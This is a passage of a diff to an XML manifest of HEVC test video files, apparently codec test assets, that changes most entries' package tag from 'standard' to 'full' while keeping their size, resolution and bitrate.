+    <value>mime=video/hevc,size=100523,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1240584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_grain.mp4">
-    <value>mime=video/hevc,size=186465,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2314272,package=standard</value>
+    <value>mime=video/hevc,size=186465,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2314272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=117475,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451880,package=standard</value>
+    <value>mime=video/hevc,size=117475,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=117283,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1449480,package=standard</value>
+    <value>mime=video/hevc,size=117283,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1449480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=118627,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1466280,package=standard</value>
+    <value>mime=video/hevc,size=118627,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1466280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=128841,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1593912,package=standard</value>
+    <value>mime=video/hevc,size=128841,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1593912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=116780,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443200,package=standard</value>
+    <value>mime=video/hevc,size=116780,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_lossless.mp4">
     <value>mime=video/hevc,size=6058927,width=640,height=360,frame-rate=50,profile=,level=,bitrate=75720048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=116780,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443200,package=standard</value>
+    <value>mime=video/hevc,size=116780,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=116804,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443480,package=standard</value>
+    <value>mime=video/hevc,size=116804,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=116766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443024,package=standard</value>
+    <value>mime=video/hevc,size=116766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=116766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443024,package=standard</value>
+    <value>mime=video/hevc,size=116766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=116766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443024,package=standard</value>
+    <value>mime=video/hevc,size=116766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=117463,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451736,package=standard</value>
+    <value>mime=video/hevc,size=117463,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=111362,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1375480,package=standard</value>
+    <value>mime=video/hevc,size=111362,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1375480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=118187,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1460784,package=standard</value>
+    <value>mime=video/hevc,size=118187,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1460784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_medium.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=119018,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1471168,package=standard</value>
+    <value>mime=video/hevc,size=119018,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1471168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=116733,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1442608,package=standard</value>
+    <value>mime=video/hevc,size=116733,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1442608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=116546,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440272,package=standard</value>
+    <value>mime=video/hevc,size=116546,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=116216,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1436144,package=standard</value>
+    <value>mime=video/hevc,size=116216,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1436144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=126681,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1566936,package=standard</value>
+    <value>mime=video/hevc,size=126681,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1566936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=143171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1773072,package=standard</value>
+    <value>mime=video/hevc,size=143171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1773072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=117327,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1450032,package=standard</value>
+    <value>mime=video/hevc,size=117327,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1450032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443120,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443120,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443120,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=119819,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1481144,package=standard</value>
+    <value>mime=video/hevc,size=119819,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1481144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=116768,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=standard</value>
+    <value>mime=video/hevc,size=116768,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=184166,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2285520,package=standard</value>
+    <value>mime=video/hevc,size=184166,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2285520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp0cb12cr12.mp4">
     <value>mime=video/hevc,size=5283846,width=640,height=360,frame-rate=50,profile=,level=,bitrate=66031512,package=full</value>
@@ -18654,172 +18654,172 @@
     <value>mime=video/hevc,size=401638,width=640,height=360,frame-rate=50,profile=,level=,bitrate=5003936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp39cbm12cr12.mp4">
-    <value>mime=video/hevc,size=104666,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1291760,package=standard</value>
+    <value>mime=video/hevc,size=104666,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1291760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp4.mp4">
     <value>mime=video/hevc,size=5510579,width=640,height=360,frame-rate=50,profile=,level=,bitrate=68865696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=9202,width=640,height=360,frame-rate=50,profile=,level=,bitrate=98480,package=standard</value>
+    <value>mime=video/hevc,size=9202,width=640,height=360,frame-rate=50,profile=,level=,bitrate=98480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=7907,width=640,height=360,frame-rate=50,profile=,level=,bitrate=82272,package=standard</value>
+    <value>mime=video/hevc,size=7907,width=640,height=360,frame-rate=50,profile=,level=,bitrate=82272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=8748,width=640,height=360,frame-rate=50,profile=,level=,bitrate=92784,package=standard</value>
+    <value>mime=video/hevc,size=8748,width=640,height=360,frame-rate=50,profile=,level=,bitrate=92784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=9120,width=640,height=360,frame-rate=50,profile=,level=,bitrate=97432,package=standard</value>
+    <value>mime=video/hevc,size=9120,width=640,height=360,frame-rate=50,profile=,level=,bitrate=97432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=9465,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101744,package=standard</value>
+    <value>mime=video/hevc,size=9465,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=7903,width=640,height=360,frame-rate=50,profile=,level=,bitrate=82248,package=standard</value>
+    <value>mime=video/hevc,size=7903,width=640,height=360,frame-rate=50,profile=,level=,bitrate=82248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=116768,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=standard</value>
+    <value>mime=video/hevc,size=116768,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=117563,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1452984,package=standard</value>
+    <value>mime=video/hevc,size=117563,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1452984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slower.mp4">
-    <value>mime=video/hevc,size=114304,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1412224,package=standard</value>
+    <value>mime=video/hevc,size=114304,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1412224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slow.mp4">
-    <value>mime=video/hevc,size=108824,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343744,package=standard</value>
+    <value>mime=video/hevc,size=108824,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=157048,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1946544,package=standard</value>
+    <value>mime=video/hevc,size=157048,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1946544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=116804,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443496,package=standard</value>
+    <value>mime=video/hevc,size=116804,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=117274,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1449368,package=standard</value>
+    <value>mime=video/hevc,size=117274,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1449368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=167372,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2075600,package=standard</value>
+    <value>mime=video/hevc,size=167372,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2075600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=117054,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446624,package=standard</value>
+    <value>mime=video/hevc,size=117054,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=182018,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2258680,package=standard</value>
+    <value>mime=video/hevc,size=182018,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2258680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=117353,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1450344,package=standard</value>
+    <value>mime=video/hevc,size=117353,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1450344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=117511,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1452320,package=standard</value>
+    <value>mime=video/hevc,size=117511,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1452320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=117080,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446936,package=standard</value>
+    <value>mime=video/hevc,size=117080,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=116918,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444912,package=standard</value>
+    <value>mime=video/hevc,size=116918,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=116775,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=standard</value>
+    <value>mime=video/hevc,size=116775,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=117663,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1454232,package=standard</value>
+    <value>mime=video/hevc,size=117663,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1454232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=119917,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1482400,package=standard</value>
+    <value>mime=video/hevc,size=119917,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1482400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=118292,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1462096,package=standard</value>
+    <value>mime=video/hevc,size=118292,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1462096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=117043,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446472,package=standard</value>
+    <value>mime=video/hevc,size=117043,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=116890,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444568,package=standard</value>
+    <value>mime=video/hevc,size=116890,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=170713,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2117344,package=standard</value>
+    <value>mime=video/hevc,size=170713,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2117344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=97343,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1200832,package=standard</value>
+    <value>mime=video/hevc,size=97343,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1200832,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=114202,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1410944,package=standard</value>
+    <value>mime=video/hevc,size=114202,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1410944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116774,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=116920,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444944,package=standard</value>
+    <value>mime=video/hevc,size=116920,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=116904,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444744,package=standard</value>
+    <value>mime=video/hevc,size=116904,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=116652,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1441600,package=standard</value>
+    <value>mime=video/hevc,size=116652,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1441600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=137126,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1701384,package=standard</value>
+    <value>mime=video/hevc,size=137126,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1701384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=45595,width=854,height=480,frame-rate=50,profile=,level=,bitrate=553368,package=standard</value>
+    <value>mime=video/hevc,size=45595,width=854,height=480,frame-rate=50,profile=,level=,bitrate=553368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=811159,width=854,height=480,frame-rate=50,profile=,level=,bitrate=10122920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=78064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=959232,package=standard</value>
+    <value>mime=video/hevc,size=78064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=959232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1640964,width=854,height=480,frame-rate=50,profile=,level=,bitrate=20495480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=346839,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4318920,package=standard</value>
+    <value>mime=video/hevc,size=346839,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4318920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=343493,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4277096,package=standard</value>
+    <value>mime=video/hevc,size=343493,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4277096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=194905,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2419744,package=standard</value>
+    <value>mime=video/hevc,size=194905,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2419744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg64.mp4">
